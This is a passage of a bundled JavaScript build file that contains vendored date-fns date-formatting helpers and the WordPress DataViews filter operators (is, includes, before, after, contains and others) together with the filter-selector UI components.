34361 // Seconds timestamp
34362 t: function(date, token, _localize) {
34363 const timestamp = Math.trunc(+date / 1e3);
34364 return addLeadingZeros(timestamp, token.length);
34365 },
34366 // Milliseconds timestamp
34367 T: function(date, token, _localize) {
34368 return addLeadingZeros(+date, token.length);
34369 }
34370 };
34371 function formatTimezoneShort(offset, delimiter = "") {
34372 const sign = offset > 0 ? "-" : "+";
34373 const absOffset = Math.abs(offset);
34374 const hours = Math.trunc(absOffset / 60);
34375 const minutes = absOffset % 60;
34376 if (minutes === 0) {
34377 return sign + String(hours);
34378 }
34379 return sign + String(hours) + delimiter + addLeadingZeros(minutes, 2);
34380 }
34381 function formatTimezoneWithOptionalMinutes(offset, delimiter) {
34382 if (offset % 60 === 0) {
34383 const sign = offset > 0 ? "-" : "+";
34384 return sign + addLeadingZeros(Math.abs(offset) / 60, 2);
34385 }
34386 return formatTimezone(offset, delimiter);
34387 }
34388 function formatTimezone(offset, delimiter = "") {
34389 const sign = offset > 0 ? "-" : "+";
34390 const absOffset = Math.abs(offset);
34391 const hours = addLeadingZeros(Math.trunc(absOffset / 60), 2);
34392 const minutes = addLeadingZeros(absOffset % 60, 2);
34393 return sign + hours + delimiter + minutes;
34394 }
34395
34396 // packages/dataviews/node_modules/date-fns/_lib/format/longFormatters.js
34397 var dateLongFormatter = (pattern, formatLong2) => {
34398 switch (pattern) {
34399 case "P":
34400 return formatLong2.date({ width: "short" });
34401 case "PP":
34402 return formatLong2.date({ width: "medium" });
34403 case "PPP":
34404 return formatLong2.date({ width: "long" });
34405 case "PPPP":
34406 default:
34407 return formatLong2.date({ width: "full" });
34408 }
34409 };
34410 var timeLongFormatter = (pattern, formatLong2) => {
34411 switch (pattern) {
34412 case "p":
34413 return formatLong2.time({ width: "short" });
34414 case "pp":
34415 return formatLong2.time({ width: "medium" });
34416 case "ppp":
34417 return formatLong2.time({ width: "long" });
34418 case "pppp":
34419 default:
34420 return formatLong2.time({ width: "full" });
34421 }
34422 };
34423 var dateTimeLongFormatter = (pattern, formatLong2) => {
34424 const matchResult = pattern.match(/(P+)(p+)?/) || [];
34425 const datePattern = matchResult[1];
34426 const timePattern = matchResult[2];
34427 if (!timePattern) {
34428 return dateLongFormatter(pattern, formatLong2);
34429 }
34430 let dateTimeFormat;
34431 switch (datePattern) {
34432 case "P":
34433 dateTimeFormat = formatLong2.dateTime({ width: "short" });
34434 break;
34435 case "PP":
34436 dateTimeFormat = formatLong2.dateTime({ width: "medium" });
34437 break;
34438 case "PPP":
34439 dateTimeFormat = formatLong2.dateTime({ width: "long" });
34440 break;
34441 case "PPPP":
34442 default:
34443 dateTimeFormat = formatLong2.dateTime({ width: "full" });
34444 break;
34445 }
34446 return dateTimeFormat.replace("{{date}}", dateLongFormatter(datePattern, formatLong2)).replace("{{time}}", timeLongFormatter(timePattern, formatLong2));
34447 };
34448 var longFormatters = {
34449 p: timeLongFormatter,
34450 P: dateTimeLongFormatter
34451 };
34452
34453 // packages/dataviews/node_modules/date-fns/_lib/protectedTokens.js
34454 var dayOfYearTokenRE = /^D+$/;
34455 var weekYearTokenRE = /^Y+$/;
34456 var throwTokens = ["D", "DD", "YY", "YYYY"];
34457 function isProtectedDayOfYearToken(token) {
34458 return dayOfYearTokenRE.test(token);
34459 }
34460 function isProtectedWeekYearToken(token) {
34461 return weekYearTokenRE.test(token);
34462 }
34463 function warnOrThrowProtectedError(token, format6, input) {
34464 const _message = message(token, format6, input);
34465 console.warn(_message);
34466 if (throwTokens.includes(token)) throw new RangeError(_message);
34467 }
34468 function message(token, format6, input) {
34469 const subject = token[0] === "Y" ? "years" : "days of the month";
34470 return `Use \`${token.toLowerCase()}\` instead of \`${token}\` (in \`${format6}\`) for formatting ${subject} to the input \`${input}\`; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md`;
34471 }
34472
34473 // packages/dataviews/node_modules/date-fns/format.js
34474 var formattingTokensRegExp = /[yYQqMLwIdDecihHKkms]o|(\w)\1*|''|'(''|[^'])+('|$)|./g;
34475 var longFormattingTokensRegExp = /P+p+|P+|p+|''|'(''|[^'])+('|$)|./g;
34476 var escapedStringRegExp = /^'([^]*?)'?$/;
34477 var doubleQuoteRegExp = /''/g;
34478 var unescapedLatinCharacterRegExp = /[a-zA-Z]/;
34479 function format(date, formatStr, options) {
34480 const defaultOptions2 = getDefaultOptions();
34481 const locale = options?.locale ?? defaultOptions2.locale ?? enUS;
34482 const firstWeekContainsDate = options?.firstWeekContainsDate ?? options?.locale?.options?.firstWeekContainsDate ?? defaultOptions2.firstWeekContainsDate ?? defaultOptions2.locale?.options?.firstWeekContainsDate ?? 1;
34483 const weekStartsOn = options?.weekStartsOn ?? options?.locale?.options?.weekStartsOn ?? defaultOptions2.weekStartsOn ?? defaultOptions2.locale?.options?.weekStartsOn ?? 0;
34484 const originalDate = toDate(date, options?.in);
34485 if (!isValid(originalDate)) {
34486 throw new RangeError("Invalid time value");
34487 }
34488 let parts = formatStr.match(longFormattingTokensRegExp).map((substring) => {
34489 const firstCharacter = substring[0];
34490 if (firstCharacter === "p" || firstCharacter === "P") {
34491 const longFormatter = longFormatters[firstCharacter];
34492 return longFormatter(substring, locale.formatLong);
34493 }
34494 return substring;
34495 }).join("").match(formattingTokensRegExp).map((substring) => {
34496 if (substring === "''") {
34497 return { isToken: false, value: "'" };
34498 }
34499 const firstCharacter = substring[0];
34500 if (firstCharacter === "'") {
34501 return { isToken: false, value: cleanEscapedString(substring) };
34502 }
34503 if (formatters[firstCharacter]) {
34504 return { isToken: true, value: substring };
34505 }
34506 if (firstCharacter.match(unescapedLatinCharacterRegExp)) {
34507 throw new RangeError(
34508 "Format string contains an unescaped latin alphabet character `" + firstCharacter + "`"
34509 );
34510 }
34511 return { isToken: false, value: substring };
34512 });
34513 if (locale.localize.preprocessor) {
34514 parts = locale.localize.preprocessor(originalDate, parts);
34515 }
34516 const formatterOptions = {
34517 firstWeekContainsDate,
34518 weekStartsOn,
34519 locale
34520 };
34521 return parts.map((part) => {
34522 if (!part.isToken) return part.value;
34523 const token = part.value;
34524 if (!options?.useAdditionalWeekYearTokens && isProtectedWeekYearToken(token) || !options?.useAdditionalDayOfYearTokens && isProtectedDayOfYearToken(token)) {
34525 warnOrThrowProtectedError(token, formatStr, String(date));
34526 }
34527 const formatter = formatters[token[0]];
34528 return formatter(originalDate, token, locale.localize, formatterOptions);
34529 }).join("");
34530 }
34531 function cleanEscapedString(input) {
34532 const matched = input.match(escapedStringRegExp);
34533 if (!matched) {
34534 return input;
34535 }
34536 return matched[1].replace(doubleQuoteRegExp, "'");
34537 }
34538
34539 // packages/dataviews/node_modules/date-fns/subDays.js
34540 function subDays(date, amount, options) {
34541 return addDays(date, -amount, options);
34542 }
34543
34544 // packages/dataviews/node_modules/date-fns/subMonths.js
34545 function subMonths(date, amount, options) {
34546 return addMonths(date, -amount, options);
34547 }
34548
34549 // packages/dataviews/node_modules/date-fns/subWeeks.js
34550 function subWeeks(date, amount, options) {
34551 return addWeeks(date, -amount, options);
34552 }
34553
34554 // packages/dataviews/node_modules/date-fns/subYears.js
34555 function subYears(date, amount, options) {
34556 return addYears(date, -amount, options);
34557 }
34558
34559 // packages/dataviews/build-module/utils/operators.mjs
34560 var import_i18n105 = __toESM(require_i18n(), 1);
34561 var import_element92 = __toESM(require_element(), 1);
34562 var import_date2 = __toESM(require_date(), 1);
34563 var import_jsx_runtime216 = __toESM(require_jsx_runtime(), 1);
34564 var filterTextWrappers = {
34565 Name: /* @__PURE__ */ (0, import_jsx_runtime216.jsx)("span", { className: "dataviews-filters__summary-filter-text-name" }),
34566 Value: /* @__PURE__ */ (0, import_jsx_runtime216.jsx)("span", { className: "dataviews-filters__summary-filter-text-value" })
34567 };
34568 function getRelativeDate(value, unit) {
34569 switch (unit) {
34570 case "days":
34571 return subDays(/* @__PURE__ */ new Date(), value);
34572 case "weeks":
34573 return subWeeks(/* @__PURE__ */ new Date(), value);
34574 case "months":
34575 return subMonths(/* @__PURE__ */ new Date(), value);
34576 case "years":
34577 return subYears(/* @__PURE__ */ new Date(), value);
34578 default:
34579 return /* @__PURE__ */ new Date();
34580 }
34581 }
34582 var isNoneOperatorDefinition = {
34583 /* translators: DataViews operator name */
34584 label: (0, import_i18n105.__)("Is none of"),
34585 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
34586 (0, import_i18n105.sprintf)(
34587 /* translators: 1: Filter name (e.g. "Author"). 2: Filter value (e.g. "Admin"): "Author is none of: Admin, Editor". */
34588 (0, import_i18n105.__)("<Name>%1$s is none of: </Name><Value>%2$s</Value>"),
34589 filter.name,
34590 activeElements.map((element) => element.label).join(", ")
34591 ),
34592 filterTextWrappers
34593 ),
34594 filter: ((item, field, filterValue) => {
34595 if (!filterValue?.length) {
34596 return true;
34597 }
34598 const fieldValue = field.getValue({ item });
34599 if (Array.isArray(fieldValue)) {
34600 return !filterValue.some(
34601 (fv) => fieldValue.includes(fv)
34602 );
34603 } else if (typeof fieldValue === "string") {
34604 return !filterValue.includes(fieldValue);
34605 }
34606 return false;
34607 }),
34608 selection: "multi"
34609 };
34610 var OPERATORS = [
34611 {
34612 name: OPERATOR_IS_ANY2,
34613 /* translators: DataViews operator name */
34614 label: (0, import_i18n105.__)("Includes"),
34615 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
34616 (0, import_i18n105.sprintf)(
34617 /* translators: 1: Filter name (e.g. "Author"). 2: Filter value (e.g. "Admin"): "Author is any: Admin, Editor". */
34618 (0, import_i18n105.__)("<Name>%1$s includes: </Name><Value>%2$s</Value>"),
34619 filter.name,
34620 activeElements.map((element) => element.label).join(", ")
34621 ),
34622 filterTextWrappers
34623 ),
34624 filter(item, field, filterValue) {
34625 if (!filterValue?.length) {
34626 return true;
34627 }
34628 const fieldValue = field.getValue({ item });
34629 if (Array.isArray(fieldValue)) {
34630 return filterValue.some(
34631 (fv) => fieldValue.includes(fv)
34632 );
34633 } else if (typeof fieldValue === "string") {
34634 return filterValue.includes(fieldValue);
34635 }
34636 return false;
34637 },
34638 selection: "multi"
34639 },
34640 {
34641 name: OPERATOR_IS_NONE2,
34642 ...isNoneOperatorDefinition
34643 },
34644 {
34645 name: OPERATOR_IS_ALL,
34646 /* translators: DataViews operator name */
34647 label: (0, import_i18n105.__)("Includes all"),
34648 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
34649 (0, import_i18n105.sprintf)(
34650 /* translators: 1: Filter name (e.g. "Author"). 2: Filter value (e.g. "Admin"): "Author includes all: Admin, Editor". */
34651 (0, import_i18n105.__)("<Name>%1$s includes all: </Name><Value>%2$s</Value>"),
34652 filter.name,
34653 activeElements.map((element) => element.label).join(", ")
34654 ),
34655 filterTextWrappers
34656 ),
34657 filter(item, field, filterValue) {
34658 if (!filterValue?.length) {
34659 return true;
34660 }
34661 return filterValue.every((value) => {
34662 return field.getValue({ item })?.includes(value);
34663 });
34664 },
34665 selection: "multi"
34666 },
34667 {
34668 name: OPERATOR_IS_NOT_ALL,
34669 ...isNoneOperatorDefinition
34670 },
34671 {
34672 name: OPERATOR_BETWEEN,
34673 /* translators: DataViews operator name */
34674 label: (0, import_i18n105.__)("Between (inc)"),
34675 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
34676 (0, import_i18n105.sprintf)(
34677 /* translators: 1: Filter name (e.g. "Item count"). 2: Filter value min. 3: Filter value max. e.g.: "Item count between (inc): 10 and 180". */
34678 (0, import_i18n105.__)(
34679 "<Name>%1$s between (inc): </Name><Value>%2$s and %3$s</Value>"
34680 ),
34681 filter.name,
34682 activeElements[0].label[0],
34683 activeElements[0].label[1]
34684 ),
34685 filterTextWrappers
34686 ),
34687 filter(item, field, filterValue) {
34688 if (!Array.isArray(filterValue) || filterValue.length !== 2 || filterValue[0] === void 0 || filterValue[1] === void 0) {
34689 return true;
34690 }
34691 const fieldValue = field.getValue({ item });
34692 if (typeof fieldValue === "number" || fieldValue instanceof Date || typeof fieldValue === "string") {
34693 return fieldValue >= filterValue[0] && fieldValue <= filterValue[1];
34694 }
34695 return false;
34696 },
34697 selection: "custom"
34698 },
34699 {
34700 name: OPERATOR_IN_THE_PAST,
34701 /* translators: DataViews operator name */
34702 label: (0, import_i18n105.__)("In the past"),
34703 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
34704 (0, import_i18n105.sprintf)(
34705 /* translators: 1: Filter name (e.g. "Date"). 2: Filter value (e.g. "7 days"): "Date is in the past: 7 days". */
34706 (0, import_i18n105.__)(
34707 "<Name>%1$s is in the past: </Name><Value>%2$s</Value>"
34708 ),
34709 filter.name,
34710 `${activeElements[0].value.value} ${activeElements[0].value.unit}`
34711 ),
34712 filterTextWrappers
34713 ),
34714 filter(item, field, filterValue) {
34715 if (filterValue?.value === void 0 || filterValue?.unit === void 0) {
34716 return true;
34717 }
34718 const targetDate = getRelativeDate(
34719 filterValue.value,
34720 filterValue.unit
34721 );
34722 const fieldValue = (0, import_date2.getDate)(field.getValue({ item }));
34723 return fieldValue >= targetDate && fieldValue <= /* @__PURE__ */ new Date();
34724 },
34725 selection: "custom"
34726 },
34727 {
34728 name: OPERATOR_OVER,
34729 /* translators: DataViews operator name */
34730 label: (0, import_i18n105.__)("Over"),
34731 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
34732 (0, import_i18n105.sprintf)(
34733 /* translators: 1: Filter name (e.g. "Date"). 2: Filter value (e.g. "7 days"): "Date is over: 7 days". */
34734 (0, import_i18n105.__)("<Name>%1$s is over: </Name><Value>%2$s</Value>"),
34735 filter.name,
34736 `${activeElements[0].value.value} ${activeElements[0].value.unit}`
34737 ),
34738 filterTextWrappers
34739 ),
34740 filter(item, field, filterValue) {
34741 if (filterValue?.value === void 0 || filterValue?.unit === void 0) {
34742 return true;
34743 }
34744 const targetDate = getRelativeDate(
34745 filterValue.value,
34746 filterValue.unit
34747 );
34748 const fieldValue = (0, import_date2.getDate)(field.getValue({ item }));
34749 return fieldValue < targetDate;
34750 },
34751 selection: "custom"
34752 },
34753 {
34754 name: OPERATOR_IS2,
34755 /* translators: DataViews operator name */
34756 label: (0, import_i18n105.__)("Is"),
34757 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
34758 (0, import_i18n105.sprintf)(
34759 /* translators: 1: Filter name (e.g. "Author"). 2: Filter value (e.g. "Admin"): "Author is: Admin". */
34760 (0, import_i18n105.__)("<Name>%1$s is: </Name><Value>%2$s</Value>"),
34761 filter.name,
34762 activeElements[0].label
34763 ),
34764 filterTextWrappers
34765 ),
34766 filter(item, field, filterValue) {
34767 return filterValue === field.getValue({ item }) || filterValue === void 0;
34768 },
34769 selection: "single"
34770 },
34771 {
34772 name: OPERATOR_IS_NOT,
34773 /* translators: DataViews operator name */
34774 label: (0, import_i18n105.__)("Is not"),
34775 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
34776 (0, import_i18n105.sprintf)(
34777 /* translators: 1: Filter name (e.g. "Author"). 2: Filter value (e.g. "Admin"): "Author is not: Admin". */
34778 (0, import_i18n105.__)("<Name>%1$s is not: </Name><Value>%2$s</Value>"),
34779 filter.name,
34780 activeElements[0].label
34781 ),
34782 filterTextWrappers
34783 ),
34784 filter(item, field, filterValue) {
34785 return filterValue !== field.getValue({ item });
34786 },
34787 selection: "single"
34788 },
34789 {
34790 name: OPERATOR_LESS_THAN,
34791 /* translators: DataViews operator name */
34792 label: (0, import_i18n105.__)("Less than"),
34793 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
34794 (0, import_i18n105.sprintf)(
34795 /* translators: 1: Filter name (e.g. "Count"). 2: Filter value (e.g. "10"): "Count is less than: 10". */
34796 (0, import_i18n105.__)("<Name>%1$s is less than: </Name><Value>%2$s</Value>"),
34797 filter.name,
34798 activeElements[0].label
34799 ),
34800 filterTextWrappers
34801 ),
34802 filter(item, field, filterValue) {
34803 if (filterValue === void 0) {
34804 return true;
34805 }
34806 const fieldValue = field.getValue({ item });
34807 return fieldValue < filterValue;
34808 },
34809 selection: "single"
34810 },
34811 {
34812 name: OPERATOR_GREATER_THAN,
34813 /* translators: DataViews operator name */
34814 label: (0, import_i18n105.__)("Greater than"),
34815 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
34816 (0, import_i18n105.sprintf)(
34817 /* translators: 1: Filter name (e.g. "Count"). 2: Filter value (e.g. "10"): "Count is greater than: 10". */
34818 (0, import_i18n105.__)(
34819 "<Name>%1$s is greater than: </Name><Value>%2$s</Value>"
34820 ),
34821 filter.name,
34822 activeElements[0].label
34823 ),
34824 filterTextWrappers
34825 ),
34826 filter(item, field, filterValue) {
34827 if (filterValue === void 0) {
34828 return true;
34829 }
34830 const fieldValue = field.getValue({ item });
34831 return fieldValue > filterValue;
34832 },
34833 selection: "single"
34834 },
34835 {
34836 name: OPERATOR_LESS_THAN_OR_EQUAL,
34837 /* translators: DataViews operator name */
34838 label: (0, import_i18n105.__)("Less than or equal"),
34839 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
34840 (0, import_i18n105.sprintf)(
34841 /* translators: 1: Filter name (e.g. "Count"). 2: Filter value (e.g. "10"): "Count is less than or equal to: 10". */
34842 (0, import_i18n105.__)(
34843 "<Name>%1$s is less than or equal to: </Name><Value>%2$s</Value>"
34844 ),
34845 filter.name,
34846 activeElements[0].label
34847 ),
34848 filterTextWrappers
34849 ),
34850 filter(item, field, filterValue) {
34851 if (filterValue === void 0) {
34852 return true;
34853 }
34854 const fieldValue = field.getValue({ item });
34855 return fieldValue <= filterValue;
34856 },
34857 selection: "single"
34858 },
34859 {
34860 name: OPERATOR_GREATER_THAN_OR_EQUAL,
34861 /* translators: DataViews operator name */
34862 label: (0, import_i18n105.__)("Greater than or equal"),
34863 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
34864 (0, import_i18n105.sprintf)(
34865 /* translators: 1: Filter name (e.g. "Count"). 2: Filter value (e.g. "10"): "Count is greater than or equal to: 10". */
34866 (0, import_i18n105.__)(
34867 "<Name>%1$s is greater than or equal to: </Name><Value>%2$s</Value>"
34868 ),
34869 filter.name,
34870 activeElements[0].label
34871 ),
34872 filterTextWrappers
34873 ),
34874 filter(item, field, filterValue) {
34875 if (filterValue === void 0) {
34876 return true;
34877 }
34878 const fieldValue = field.getValue({ item });
34879 return fieldValue >= filterValue;
34880 },
34881 selection: "single"
34882 },
34883 {
34884 name: OPERATOR_BEFORE2,
34885 /* translators: DataViews operator name */
34886 label: (0, import_i18n105.__)("Before"),
34887 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
34888 (0, import_i18n105.sprintf)(
34889 /* translators: 1: Filter name (e.g. "Date"). 2: Filter value (e.g. "2024-01-01"): "Date is before: 2024-01-01". */
34890 (0, import_i18n105.__)("<Name>%1$s is before: </Name><Value>%2$s</Value>"),
34891 filter.name,
34892 activeElements[0].label
34893 ),
34894 filterTextWrappers
34895 ),
34896 filter(item, field, filterValue) {
34897 if (filterValue === void 0) {
34898 return true;
34899 }
34900 const filterDate = (0, import_date2.getDate)(filterValue);
34901 const fieldDate = (0, import_date2.getDate)(field.getValue({ item }));
34902 return fieldDate < filterDate;
34903 },
34904 selection: "single"
34905 },
34906 {
34907 name: OPERATOR_AFTER2,
34908 /* translators: DataViews operator name */
34909 label: (0, import_i18n105.__)("After"),
34910 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
34911 (0, import_i18n105.sprintf)(
34912 /* translators: 1: Filter name (e.g. "Date"). 2: Filter value (e.g. "2024-01-01"): "Date is after: 2024-01-01". */
34913 (0, import_i18n105.__)("<Name>%1$s is after: </Name><Value>%2$s</Value>"),
34914 filter.name,
34915 activeElements[0].label
34916 ),
34917 filterTextWrappers
34918 ),
34919 filter(item, field, filterValue) {
34920 if (filterValue === void 0) {
34921 return true;
34922 }
34923 const filterDate = (0, import_date2.getDate)(filterValue);
34924 const fieldDate = (0, import_date2.getDate)(field.getValue({ item }));
34925 return fieldDate > filterDate;
34926 },
34927 selection: "single"
34928 },
34929 {
34930 name: OPERATOR_BEFORE_INC,
34931 /* translators: DataViews operator name */
34932 label: (0, import_i18n105.__)("Before (inc)"),
34933 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
34934 (0, import_i18n105.sprintf)(
34935 /* translators: 1: Filter name (e.g. "Date"). 2: Filter value (e.g. "2024-01-01"): "Date is on or before: 2024-01-01". */
34936 (0, import_i18n105.__)(
34937 "<Name>%1$s is on or before: </Name><Value>%2$s</Value>"
34938 ),
34939 filter.name,
34940 activeElements[0].label
34941 ),
34942 filterTextWrappers
34943 ),
34944 filter(item, field, filterValue) {
34945 if (filterValue === void 0) {
34946 return true;
34947 }
34948 const filterDate = (0, import_date2.getDate)(filterValue);
34949 const fieldDate = (0, import_date2.getDate)(field.getValue({ item }));
34950 return fieldDate <= filterDate;
34951 },
34952 selection: "single"
34953 },
34954 {
34955 name: OPERATOR_AFTER_INC,
34956 /* translators: DataViews operator name */
34957 label: (0, import_i18n105.__)("After (inc)"),
34958 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
34959 (0, import_i18n105.sprintf)(
34960 /* translators: 1: Filter name (e.g. "Date"). 2: Filter value (e.g. "2024-01-01"): "Date is on or after: 2024-01-01". */
34961 (0, import_i18n105.__)(
34962 "<Name>%1$s is on or after: </Name><Value>%2$s</Value>"
34963 ),
34964 filter.name,
34965 activeElements[0].label
34966 ),
34967 filterTextWrappers
34968 ),
34969 filter(item, field, filterValue) {
34970 if (filterValue === void 0) {
34971 return true;
34972 }
34973 const filterDate = (0, import_date2.getDate)(filterValue);
34974 const fieldDate = (0, import_date2.getDate)(field.getValue({ item }));
34975 return fieldDate >= filterDate;
34976 },
34977 selection: "single"
34978 },
34979 {
34980 name: OPERATOR_CONTAINS,
34981 /* translators: DataViews operator name */
34982 label: (0, import_i18n105.__)("Contains"),
34983 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
34984 (0, import_i18n105.sprintf)(
34985 /* translators: 1: Filter name (e.g. "Title"). 2: Filter value (e.g. "Hello"): "Title contains: Hello". */
34986 (0, import_i18n105.__)("<Name>%1$s contains: </Name><Value>%2$s</Value>"),
34987 filter.name,
34988 activeElements[0].label
34989 ),
34990 filterTextWrappers
34991 ),
34992 filter(item, field, filterValue) {
34993 if (filterValue === void 0) {
34994 return true;
34995 }
34996 const fieldValue = field.getValue({ item });
34997 return typeof fieldValue === "string" && filterValue && fieldValue.toLowerCase().includes(String(filterValue).toLowerCase());
34998 },
34999 selection: "single"
35000 },
35001 {
35002 name: OPERATOR_NOT_CONTAINS,
35003 /* translators: DataViews operator name */
35004 label: (0, import_i18n105.__)("Doesn't contain"),
35005 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
35006 (0, import_i18n105.sprintf)(
35007 /* translators: 1: Filter name (e.g. "Title"). 2: Filter value (e.g. "Hello"): "Title doesn't contain: Hello". */
35008 (0, import_i18n105.__)(
35009 "<Name>%1$s doesn't contain: </Name><Value>%2$s</Value>"
35010 ),
35011 filter.name,
35012 activeElements[0].label
35013 ),
35014 filterTextWrappers
35015 ),
35016 filter(item, field, filterValue) {
35017 if (filterValue === void 0) {
35018 return true;
35019 }
35020 const fieldValue = field.getValue({ item });
35021 return typeof fieldValue === "string" && filterValue && !fieldValue.toLowerCase().includes(String(filterValue).toLowerCase());
35022 },
35023 selection: "single"
35024 },
35025 {
35026 name: OPERATOR_STARTS_WITH,
35027 /* translators: DataViews operator name */
35028 label: (0, import_i18n105.__)("Starts with"),
35029 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
35030 (0, import_i18n105.sprintf)(
35031 /* translators: 1: Filter name (e.g. "Title"). 2: Filter value (e.g. "Hello"): "Title starts with: Hello". */
35032 (0, import_i18n105.__)("<Name>%1$s starts with: </Name><Value>%2$s</Value>"),
35033 filter.name,
35034 activeElements[0].label
35035 ),
35036 filterTextWrappers
35037 ),
35038 filter(item, field, filterValue) {
35039 if (filterValue === void 0) {
35040 return true;
35041 }
35042 const fieldValue = field.getValue({ item });
35043 return typeof fieldValue === "string" && filterValue && fieldValue.toLowerCase().startsWith(String(filterValue).toLowerCase());
35044 },
35045 selection: "single"
35046 },
35047 {
35048 name: OPERATOR_ON,
35049 /* translators: DataViews operator name */
35050 label: (0, import_i18n105.__)("On"),
35051 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
35052 (0, import_i18n105.sprintf)(
35053 /* translators: 1: Filter name (e.g. "Date"). 2: Filter value (e.g. "2024-01-01"): "Date is: 2024-01-01". */
35054 (0, import_i18n105.__)("<Name>%1$s is: </Name><Value>%2$s</Value>"),
35055 filter.name,
35056 activeElements[0].label
35057 ),
35058 filterTextWrappers
35059 ),
35060 filter(item, field, filterValue) {
35061 if (filterValue === void 0) {
35062 return true;
35063 }
35064 const filterDate = (0, import_date2.getDate)(filterValue);
35065 const fieldDate = (0, import_date2.getDate)(field.getValue({ item }));
35066 return filterDate.getTime() === fieldDate.getTime();
35067 },
35068 selection: "single"
35069 },
35070 {
35071 name: OPERATOR_NOT_ON,
35072 /* translators: DataViews operator name */
35073 label: (0, import_i18n105.__)("Not on"),
35074 filterText: (filter, activeElements) => (0, import_element92.createInterpolateElement)(
35075 (0, import_i18n105.sprintf)(
35076 /* translators: 1: Filter name (e.g. "Date"). 2: Filter value (e.g. "2024-01-01"): "Date is not: 2024-01-01". */
35077 (0, import_i18n105.__)("<Name>%1$s is not: </Name><Value>%2$s</Value>"),
35078 filter.name,
35079 activeElements[0].label
35080 ),
35081 filterTextWrappers
35082 ),
35083 filter(item, field, filterValue) {
35084 if (filterValue === void 0) {
35085 return true;
35086 }
35087 const filterDate = (0, import_date2.getDate)(filterValue);
35088 const fieldDate = (0, import_date2.getDate)(field.getValue({ item }));
35089 return filterDate.getTime() !== fieldDate.getTime();
35090 },
35091 selection: "single"
35092 }
35093 ];
35094 var getOperatorByName = (name2) => OPERATORS.find((op) => op.name === name2);
35095 var getAllOperatorNames = () => OPERATORS.map((op) => op.name);
35096 var isSingleSelectionOperator = (name2) => OPERATORS.filter((op) => op.selection === "single").some(
35097 (op) => op.name === name2
35098 );
35099 var isRegisteredOperator = (name2) => OPERATORS.some((op) => op.name === name2);
35100
35101 // packages/dataviews/build-module/components/dataviews-filters/filter.mjs
35102 var import_jsx_runtime217 = __toESM(require_jsx_runtime(), 1);
35103 var ENTER4 = "Enter";
35104 var SPACE3 = " ";
35105 var FilterText = ({
35106 activeElements,
35107 filterInView,
35108 filter
35109 }) => {
35110 if (activeElements === void 0 || activeElements.length === 0) {
35111 return filter.name;
35112 }
35113 const operator = getOperatorByName(filterInView?.operator);
35114 if (operator !== void 0) {
35115 return operator.filterText(filter, activeElements);
35116 }
35117 return (0, import_i18n106.sprintf)(
35118 /* translators: 1: Filter name e.g.: "Unknown status for Author". */
35119 (0, import_i18n106.__)("Unknown status for %1$s"),
35120 filter.name
35121 );
35122 };
35123 function OperatorSelector({
35124 filter,
35125 view,
35126 onChangeView
35127 }) {
35128 const operatorOptions = filter.operators?.map((operator) => ({
35129 value: operator,
35130 label: getOperatorByName(operator)?.label || operator
35131 }));
35132 const currentFilter = view.filters?.find(
35133 (_filter) => _filter.field === filter.field
35134 );
35135 const value = currentFilter?.operator || filter.operators[0];
35136 return operatorOptions.length > 1 && /* @__PURE__ */ (0, import_jsx_runtime217.jsxs)(
35137 Stack,
35138 {
35139 direction: "row",
35140 gap: "sm",
35141 justify: "flex-start",
35142 className: "dataviews-filters__summary-operators-container",
35143 align: "center",
35144 children: [
35145 /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(import_components111.FlexItem, { className: "dataviews-filters__summary-operators-filter-name", children: filter.name }),
35146 /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(
35147 import_components111.SelectControl,
35148 {
35149 className: "dataviews-filters__summary-operators-filter-select",
35150 label: (0, import_i18n106.__)("Conditions"),
35151 value,
35152 options: operatorOptions,
35153 onChange: (newValue) => {
35154 const newOperator = newValue;
35155 const currentOperator = currentFilter?.operator;
35156 const newFilters = currentFilter ? [
35157 ...(view.filters ?? []).map(
35158 (_filter) => {
35159 if (_filter.field === filter.field) {
35160 const currentOpSelectionModel = getOperatorByName(
35161 currentOperator
35162 )?.selection;
35163 const newOpSelectionModel = getOperatorByName(
35164 newOperator
35165 )?.selection;
35166 const shouldResetValue = currentOpSelectionModel !== newOpSelectionModel || [
35167 currentOpSelectionModel,
35168 newOpSelectionModel
35169 ].includes("custom");
35170 return {
35171 ..._filter,
35172 value: shouldResetValue ? void 0 : _filter.value,
35173 operator: newOperator
35174 };
35175 }
35176 return _filter;
35177 }
35178 )
35179 ] : [
35180 ...view.filters ?? [],
35181 {
35182 field: filter.field,
35183 operator: newOperator,
35184 value: void 0
35185 }
35186 ];
35187 onChangeView({
35188 ...view,
35189 page: 1,
35190 filters: newFilters
35191 });
35192 },
35193 size: "small",
35194 variant: "minimal",
35195 hideLabelFromVision: true
35196 }
35197 )
35198 ]
35199 }
35200 );
35201 }
35202 function Filter({
35203 addFilterRef,
35204 openedFilter,
35205 fields,
35206 ...commonProps
35207 }) {
35208 const toggleRef = (0, import_element93.useRef)(null);
35209 const { filter, view, onChangeView } = commonProps;
35210 const filterInView = view.filters?.find(
35211 (f2) => f2.field === filter.field
35212 );
35213 let activeElements = [];
35214 const field = (0, import_element93.useMemo)(() => {
35215 const currentField = fields.find((f2) => f2.id === filter.field);
35216 if (currentField) {
35217 return {
35218 ...currentField,
35219 // Configure getValue as if Item was a plain object.
35220 // See related input-widget.tsx
35221 getValue: ({ item }) => item[currentField.id]
35222 };
35223 }
35224 return currentField;
